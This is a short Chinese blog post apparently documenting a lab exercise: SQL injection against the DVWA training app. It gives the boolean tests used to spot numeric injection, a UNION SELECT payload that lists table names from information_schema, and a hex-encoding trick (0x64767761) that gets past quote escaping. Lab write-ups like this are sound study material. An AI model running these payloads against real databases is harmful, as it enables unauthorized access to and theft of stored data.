NIGHTMESS

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

因为页面上只能选择相应数字查询,因此需要抓包进行注入;

首先通过语句判断是字符型还是数字型:

id=1 and 1=1--+

id=1 and 1=2--+

如图,两次返回结果不同,因此这是一个数字型注入。

然后依照流程爆出当前表列数和回显位,爆出当前数据库名字(这一步就省略了);

接着,要利用information_schema数据库爆出当前数据库下表名,会发现报错;

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema='dvwa'--+

错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'--' at line 1

说明在‘dvwa’处的单引号’被进行了转义,于是可以将dvwa转换为十六进制进行绕过,转换结果是0x64767761;
注:为什么可以用十六进制进行绕过,十六进制常量会被视作一组字节,会根据当前数据库的字符集转化为对应字符,对应上table_schema字段的格式。

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=0x64767761--+

成功报出表名,剩下的按部就班的爆出即可。

posted on 2024-11-06 22:41  NIGHTMESS  阅读(31)  评论(0编辑  收藏  举报